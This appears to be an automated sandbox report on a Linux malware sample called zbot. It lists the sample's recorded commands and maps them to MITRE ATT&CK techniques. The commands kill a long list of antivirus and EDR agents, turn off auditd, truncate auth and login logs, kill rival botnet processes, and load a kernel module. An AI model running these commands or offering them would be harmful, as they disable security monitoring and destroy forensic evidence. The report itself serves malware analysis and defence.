- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp48.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp49.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp50.exe1⤵
-
/usr/bin/pkillpkill -9 -f "[f]alcond"1⤵
-
/usr/bin/pkillpkill -9 -f "[f]alcon"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]sagent"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]rowdstrike"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]entinelagent"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]entinelhelper"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]1-agent"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[s]1-service"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[x]agt"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[c]bdefense"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[c]bagent"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]arbonblack"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[r]epwel"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[c]ylance"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]vcdiva"1⤵
-
/usr/bin/pkillpkill -9 -f "[m]datp"1⤵
-
/usr/bin/pkillpkill -9 -f "[m]dallaips"1⤵
- Reads CPU attributes
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -f "[s]ensedata"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[s]ophos"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]avscanner"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[r]tvscan"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]ymantec"1⤵
-
/usr/bin/pkillpkill -9 -f "[S]ymAux"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[t]rendmicro"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[d]s_agent"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[e]dragent"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[o]squeryd"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]ysmon"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]lamd"1⤵
-
/usr/bin/pkillpkill -9 -f "[k]lscan"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[k]avfs"1⤵
-
/usr/bin/pkillpkill -9 -f "[a]ccton"1⤵
-
/usr/bin/pkillpkill -9 "[a]uditd"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]noop"1⤵
- Reads CPU attributes
-
/sbin/auditctlauditctl -e 01⤵
-
/usr/bin/truncatetruncate -s 0 /var/log/auth.log /var/log/secure /var/log/wtmp /var/log/lastlog1⤵
- Deletes log files
-
/usr/bin/pkillpkill -9 -x mirai1⤵
-
/usr/bin/pkillpkill -9 -x mirai.arm1⤵
-
/usr/bin/pkillpkill -9 -x mirai.mips1⤵
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -x mirai.mpsel1⤵
-
/usr/bin/pkillpkill -9 -x gafgyt1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x bashlite1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x tsunami1⤵
-
/usr/bin/pkillpkill -9 -x hakai1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x sora1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x qbot1⤵
-
/usr/bin/pkillpkill -9 -x astaroth1⤵
-
/usr/bin/pkillpkill -9 -x ozyman1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x nihappy1⤵
- Reads CPU attributes
-
/tmp/.z/tmp/.z1⤵
-
/sbin/modprobemodprobe zbot1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
2At
1Cron
1Privilege Escalation
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
2At
1Cron
1Defense Evasion
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Indicator Removal
1Clear Linux or Mac System Logs
1Replay Monitor
Loading Replay Monitor...
Downloads
zbot
.z
tmp.395iNc
zbot